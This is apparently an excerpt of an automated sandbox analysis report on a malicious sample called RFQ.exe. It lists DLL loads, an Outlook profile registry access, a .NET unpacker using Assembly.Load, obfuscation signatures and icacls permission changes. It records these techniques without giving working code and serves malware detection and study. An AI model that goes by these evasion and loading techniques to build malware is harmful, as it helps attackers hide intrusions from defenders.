Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\RFQ.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: RFQ.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: RFQ.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: icacls.pdb source: RFQ.exe, 00000005.00000002.2157289762.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 00000007.00000002.4431445445.0000000000B88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: KdNqCjDpwdLOuI.exe, 00000007.00000002.4431314458.00000000008FE000.00000002.00000001.01000000.0000000D.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431191705.00000000008FE000.00000002.00000001.01000000.0000000D.sdmp
Source: Binary string: wntdll.pdbUGP source: RFQ.exe, 00000005.00000002.2157658184.0000000001A00000.00000040.00001000.00020000.00000000.sdmp, icacls.exe, 00000008.00000003.2157292356.0000000003553000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000003.2159010272.0000000003709000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000002.4432241042.0000000003A4E000.00000040.00001000.00020000.00000000.sdmp, icacls.exe, 00000008.00000002.4432241042.00000000038B0000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: icacls.pdbGCTL source: RFQ.exe, 00000005.00000002.2157289762.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 00000007.00000002.4431445445.0000000000B88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: RFQ.exe, RFQ.exe, 00000005.00000002.2157658184.0000000001A00000.00000040.00001000.00020000.00000000.sdmp, icacls.exe, icacls.exe, 00000008.00000003.2157292356.0000000003553000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000003.2159010272.0000000003709000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000002.4432241042.0000000003A4E000.00000040.00001000.00020000.00000000.sdmp, icacls.exe, 00000008.00000002.4432241042.00000000038B0000.00000040.00001000.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, oFwJa0tHHWnjMMhMVc.cs .Net Code: ufQDpZk6jv System.Reflection.Assembly.Load(byte[])
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, oFwJa0tHHWnjMMhMVc.cs .Net Code: ufQDpZk6jv System.Reflection.Assembly.Load(byte[])
Source: 0.2.RFQ.exe.2c801f4.7.raw.unpack, SQL.cs .Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.RFQ.exe.73c0000.10.raw.unpack, SQL.cs .Net Code: System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_077BB3BF push ecx; ret 0_2_077BB3C4
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_00417948 push edi; retf 5_2_00417956
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0041C155 push edx; iretd 5_2_0041C156
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_00417904 push edi; retf 5_2_00417956
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0041E2FB push B2CD0983h; ret 5_2_0041E301
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0040CBF6 push eax; ret 5_2_0040CBF7
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_00403397 push ebx; retf 5_2_00403398
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0040CB98 push ecx; iretd 5_2_0040CBDC
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0040857A push eax; ret 5_2_00408585
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_00415DA1 push eax; iretd 5_2_00415DA3
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_00403730 push eax; ret 5_2_00403732
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A0225F pushad ; ret 5_2_01A027F9
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A027FA pushad ; ret 5_2_01A027F9
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A309AD push ecx; mov dword ptr [esp], ecx 5_2_01A309B6
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A0283D push eax; iretd 5_2_01A02858
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A01366 push eax; iretd 5_2_01A01369
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038B225F pushad ; ret 8_2_038B27F9
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038B27FA pushad ; ret 8_2_038B27F9
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038E09AD push ecx; mov dword ptr [esp], ecx 8_2_038E09B6
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038B283D push eax; iretd 8_2_038B2858
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038B1368 push eax; iretd 8_2_038B1369
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030D4215 push edi; retf 8_2_030D4223
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030D41D1 push edi; retf 8_2_030D4223
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030D266E push eax; iretd 8_2_030D2670
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030DABC8 push B2CD0983h; ret 8_2_030DABCE
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030D8A22 push edx; iretd 8_2_030D8A23
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030DEE37 push FFFFFFE1h; iretd 8_2_030DEE3D
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030C4E47 push eax; ret 8_2_030C4E52
Source: RFQ.exe Static PE information: section name: .text entropy: 7.793030920225636
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, LkAyc0idf21VLf6Xau.cs High entropy of concatenated method names: 'q5CP4UF8vt', 'kpvPa7CHqx', 'zpvPmMBWf0', 'mP3PRg0IJG', 'GwePbl28fh', 'rw2PZCvJym', 'tGbPJ3qnby', 'IjUPfUVILp', 'JvUPoW8kBn', 'SVnPHTEKkt'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, eBGAyCGunGP3UOaY7n.cs High entropy of concatenated method names: 'kQUpwdvUn', 'S22VY6L4W', 'Lj91v3YWU', 'Te5lIR8fX', 'GD0IKFPGn', 'qJO7a29qy', 'XWxlrOl96S61IAVNJF', 'YWuaLjWwimCnGYyplx', 'iD6PM5YST', 'bvxF2fUTv'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, c8U9sqDpsUn1IJSW9W.cs High entropy of concatenated method names: 'pRVbgaqGcE', 'FCxbkgco0H', 'Lnrb6LXZD6', 'ToString', 'QrObN3MlW5', 'r4ab8clxmT', 'KU2RJB3SmyJ1pMqiPTn', 'EIhiqm3ltXeUvsoaAi6'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, VU8OU0cVco9Og8khpl.cs High entropy of concatenated method names: 'CY2ZTR9SST', 'HR9ZhCtt8v', 'MjfZpBW0Po', 'N7yZV7fZLg', 'MGrZyOU6Da', 'yPlZ13aGng', 'IgUZlyko24', 'PanZvcBmeA', 'F4KZICPFH6', 'C0PZ7iPYgJ'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, nIySLGYFvTuG6wb35P.cs High entropy of concatenated method names: 'WptZ4bLxeR', 'AiHZmHBj4J', 'LM4ZbonUcn', 'GoUb3Z9Oq4', 'Hy7bzLajDH', 'Db0Z9q78Eb', 'C1oZ5WLfa2', 'JAIZqj1AtN', 'W64ZS4OaNu', 'oOEZD0D0Y1'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, OmoVjUKcy812NDeOQq.cs High entropy of concatenated method names: 'SeFW5ZI1q1', 'xNAWSSnTtC', 'h0SWDCMwXM', 'vtGW4s5WgZ', 'uo1WatLAaU', 'XeOWRXviDZ', 'HLVWbd0Kme', 'zbjP8e6jxb', 'biUPYKiqAN', 'Y05Pxd4r5I'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, oFwJa0tHHWnjMMhMVc.cs High entropy of concatenated method names: 'eixSMSkjXg', 'OFeS4dK9RA', 'EsFSaAe1H6', 'hHESmghSc4', 'DdbSRmu1F7', 'kAYSbI0FB7', 'vgZSZTNwYf', 'UUBSJUqr3r', 'u02SfBoGYn', 'DQCSoJqwoP'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, T97BXp9oYlX3XNAdPm.cs High entropy of concatenated method names: 'RR9PUfiIcM', 'nn3PLmDxuE', 'z2dPdjolpO', 'EYsPj53Wsx', 'dxLPwwSLVq', 'otcPnkJkx2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, nJZ4GEsGrv3FIxwXsr.cs High entropy of concatenated method names: 'ToString', 'MNsQe6WjxG', 'YTiQL7hphp', 'MyMQdI1nAo', 'z6GQjcxL0V', 'OZIQngP4cA', 'yOLQ2GOJjC', 'zqbQsOargf', 'q8rQAuJ0Mx', 'BY8QEHiCvp'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, vEZuPi2EYG0fLTJDDE.cs High entropy of concatenated method names: 'WlOCvU6cwe', 'kMICIn8COb', 'QVjCUqBmVq', 'PSeCLe2Eyw', 'acZCj8HqD3', 'niCCn9qpk2', 'duTCsraLIh', 'N3QCAYUkMx', 'oRnCBfH7sJ', 'ndZCe3lvn6'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, oFePlkmXblX4RY1BsP.cs High entropy of concatenated method names: 'jBuaw1xVj2', 'fgVai6aIhl', 'mpGagq3mmZ', 'iJqakWKXhl', 'MJTa6SpJ1e', 'd00aNCuYno', 'oIpa86xVXk', 'SDjaYipa0E', 'LDbaxotXkH', 'osYa3ivyeB'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, KAoFYkWjroXWSWbPm1.cs High entropy of concatenated method names: 'Dispose', 'PBD5xqrmjq', 'KoAqLhhT80', 'BQcOOUEfZ9', 'YqC53TkNaB', 'PxV5zRTQO0', 'ProcessDialogKey', 'aP4q9N64EA', 'jHiq5Xk0h5', 'm7ZqqVLNSc'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, GmcR91STTVDSo7dnv6x.cs High entropy of concatenated method names: 'mW5WTO3bXh', 'cmDWhcgaVN', 'VcFWp6CCOx', 'cDxWVYZMhR', 'bMcWySncw8', 'QxvW1taqVX', 'hktWlLJrn8', 'HV1Wvs0hAb', 'j18WIUxuKs', 'iAKW7SrBAP'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, HlpFluUFTZEuqYseO3.cs High entropy of concatenated method names: 'UHnbMSZU0R', 'qk2baRbb4v', 'lxobRYF6Sx', 'jjCbZOp6DT', 'qWabJmpryV', 'BOPR6c0VHR', 'GLKRNCbjxm', 'chER8f3rZ5', 'lNXRYKLwdd', 'kDbRxwIn1u'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, baw3pJlJ0E8HDbw7Va.cs High entropy of concatenated method names: 'siadFk3hE8EGRcQng2b', 'dABJkF3LrP5qFM6kkqm', 'y4hbP2tCHN', 'tUcbWWdqms', 'qctbFnanYT', 'i7ouva3uqwGTUvV1MK8', 'LyZSji3H15vow5Gml0O'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, tX7h0O8HPDhXVPIY0I.cs High entropy of concatenated method names: 'SLymVuZ77B', 'cgWm1PxWFO', 'A5wmvyk6My', 'UqnmIt0BBW', 'GvwmuWisaV', 'mAdmQFUIc9', 'BDEmKJghi7', 'gHpmPuYPys', 'MgtmW4bYWD', 'BRRmFLa3hr'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, j0dSf8SbSE5jx3q18CX.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'XGyFwbNSUN', 'pE6FiisZ6u', 'FSVFgodRhe', 'ImVFklsPKh', 'gS7F63k2Pf', 'L24FNlBKfL', 'sI5F8PH8Zu'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, LJJIfvh4QonUqcUNLk.cs High entropy of concatenated method names: 'xwx5ZHbnvG', 'VTS5JYZUOn', 'lV35o68GFn', 'ujE5HZKbby', 'PTX5uohUBk', 'Wel5QnGJLO', 'JDLiStZDk5TgRSb1LT', 'BLXWK4gkbd0yf89fVH', 'X2h556h6kn', 'dcI5S1oyZA'
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, im0shl6YDE6ewhk7cM.cs High entropy of concatenated method names: 'blFuBcgqkc', 'ft8uGEoOBe', 'N7ZuwyprWw', 'vT7uiEaUbv', 'nRQuLqPFXt', 'QOtud3oTJu', 'jL5ujf5TyN', 'fwbunnWQBr', 'KYVu269AIb', 'skhusaQ6fG'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, LkAyc0idf21VLf6Xau.cs High entropy of concatenated method names: 'q5CP4UF8vt', 'kpvPa7CHqx', 'zpvPmMBWf0', 'mP3PRg0IJG', 'GwePbl28fh', 'rw2PZCvJym', 'tGbPJ3qnby', 'IjUPfUVILp', 'JvUPoW8kBn', 'SVnPHTEKkt'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, eBGAyCGunGP3UOaY7n.cs High entropy of concatenated method names: 'kQUpwdvUn', 'S22VY6L4W', 'Lj91v3YWU', 'Te5lIR8fX', 'GD0IKFPGn', 'qJO7a29qy', 'XWxlrOl96S61IAVNJF', 'YWuaLjWwimCnGYyplx', 'iD6PM5YST', 'bvxF2fUTv'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, c8U9sqDpsUn1IJSW9W.cs High entropy of concatenated method names: 'pRVbgaqGcE', 'FCxbkgco0H', 'Lnrb6LXZD6', 'ToString', 'QrObN3MlW5', 'r4ab8clxmT', 'KU2RJB3SmyJ1pMqiPTn', 'EIhiqm3ltXeUvsoaAi6'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, VU8OU0cVco9Og8khpl.cs High entropy of concatenated method names: 'CY2ZTR9SST', 'HR9ZhCtt8v', 'MjfZpBW0Po', 'N7yZV7fZLg', 'MGrZyOU6Da', 'yPlZ13aGng', 'IgUZlyko24', 'PanZvcBmeA', 'F4KZICPFH6', 'C0PZ7iPYgJ'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, nIySLGYFvTuG6wb35P.cs High entropy of concatenated method names: 'WptZ4bLxeR', 'AiHZmHBj4J', 'LM4ZbonUcn', 'GoUb3Z9Oq4', 'Hy7bzLajDH', 'Db0Z9q78Eb', 'C1oZ5WLfa2', 'JAIZqj1AtN', 'W64ZS4OaNu', 'oOEZD0D0Y1'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, OmoVjUKcy812NDeOQq.cs High entropy of concatenated method names: 'SeFW5ZI1q1', 'xNAWSSnTtC', 'h0SWDCMwXM', 'vtGW4s5WgZ', 'uo1WatLAaU', 'XeOWRXviDZ', 'HLVWbd0Kme', 'zbjP8e6jxb', 'biUPYKiqAN', 'Y05Pxd4r5I'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, oFwJa0tHHWnjMMhMVc.cs High entropy of concatenated method names: 'eixSMSkjXg', 'OFeS4dK9RA', 'EsFSaAe1H6', 'hHESmghSc4', 'DdbSRmu1F7', 'kAYSbI0FB7', 'vgZSZTNwYf', 'UUBSJUqr3r', 'u02SfBoGYn', 'DQCSoJqwoP'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, T97BXp9oYlX3XNAdPm.cs High entropy of concatenated method names: 'RR9PUfiIcM', 'nn3PLmDxuE', 'z2dPdjolpO', 'EYsPj53Wsx', 'dxLPwwSLVq', 'otcPnkJkx2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, nJZ4GEsGrv3FIxwXsr.cs High entropy of concatenated method names: 'ToString', 'MNsQe6WjxG', 'YTiQL7hphp', 'MyMQdI1nAo', 'z6GQjcxL0V', 'OZIQngP4cA', 'yOLQ2GOJjC', 'zqbQsOargf', 'q8rQAuJ0Mx', 'BY8QEHiCvp'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, vEZuPi2EYG0fLTJDDE.cs High entropy of concatenated method names: 'WlOCvU6cwe', 'kMICIn8COb', 'QVjCUqBmVq', 'PSeCLe2Eyw', 'acZCj8HqD3', 'niCCn9qpk2', 'duTCsraLIh', 'N3QCAYUkMx', 'oRnCBfH7sJ', 'ndZCe3lvn6'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, oFePlkmXblX4RY1BsP.cs High entropy of concatenated method names: 'jBuaw1xVj2', 'fgVai6aIhl', 'mpGagq3mmZ', 'iJqakWKXhl', 'MJTa6SpJ1e', 'd00aNCuYno', 'oIpa86xVXk', 'SDjaYipa0E', 'LDbaxotXkH', 'osYa3ivyeB'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, KAoFYkWjroXWSWbPm1.cs High entropy of concatenated method names: 'Dispose', 'PBD5xqrmjq', 'KoAqLhhT80', 'BQcOOUEfZ9', 'YqC53TkNaB', 'PxV5zRTQO0', 'ProcessDialogKey', 'aP4q9N64EA', 'jHiq5Xk0h5', 'm7ZqqVLNSc'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, GmcR91STTVDSo7dnv6x.cs High entropy of concatenated method names: 'mW5WTO3bXh', 'cmDWhcgaVN', 'VcFWp6CCOx', 'cDxWVYZMhR', 'bMcWySncw8', 'QxvW1taqVX', 'hktWlLJrn8', 'HV1Wvs0hAb', 'j18WIUxuKs', 'iAKW7SrBAP'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, HlpFluUFTZEuqYseO3.cs High entropy of concatenated method names: 'UHnbMSZU0R', 'qk2baRbb4v', 'lxobRYF6Sx', 'jjCbZOp6DT', 'qWabJmpryV', 'BOPR6c0VHR', 'GLKRNCbjxm', 'chER8f3rZ5', 'lNXRYKLwdd', 'kDbRxwIn1u'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, baw3pJlJ0E8HDbw7Va.cs High entropy of concatenated method names: 'siadFk3hE8EGRcQng2b', 'dABJkF3LrP5qFM6kkqm', 'y4hbP2tCHN', 'tUcbWWdqms', 'qctbFnanYT', 'i7ouva3uqwGTUvV1MK8', 'LyZSji3H15vow5Gml0O'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, tX7h0O8HPDhXVPIY0I.cs High entropy of concatenated method names: 'SLymVuZ77B', 'cgWm1PxWFO', 'A5wmvyk6My', 'UqnmIt0BBW', 'GvwmuWisaV', 'mAdmQFUIc9', 'BDEmKJghi7', 'gHpmPuYPys', 'MgtmW4bYWD', 'BRRmFLa3hr'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, j0dSf8SbSE5jx3q18CX.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'XGyFwbNSUN', 'pE6FiisZ6u', 'FSVFgodRhe', 'ImVFklsPKh', 'gS7F63k2Pf', 'L24FNlBKfL', 'sI5F8PH8Zu'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, LJJIfvh4QonUqcUNLk.cs High entropy of concatenated method names: 'xwx5ZHbnvG', 'VTS5JYZUOn', 'lV35o68GFn', 'ujE5HZKbby', 'PTX5uohUBk', 'Wel5QnGJLO', 'JDLiStZDk5TgRSb1LT', 'BLXWK4gkbd0yf89fVH', 'X2h556h6kn', 'dcI5S1oyZA'
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, im0shl6YDE6ewhk7cM.cs High entropy of concatenated method names: 'blFuBcgqkc', 'ft8uGEoOBe', 'N7ZuwyprWw', 'vT7uiEaUbv', 'nRQuLqPFXt', 'QOtud3oTJu', 'jL5ujf5TyN', 'fwbunnWQBr', 'KYVu269AIb', 'skhusaQ6fG'

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Uses cacls to modify the permissions of files
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\SysWOW64\icacls.exe"
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
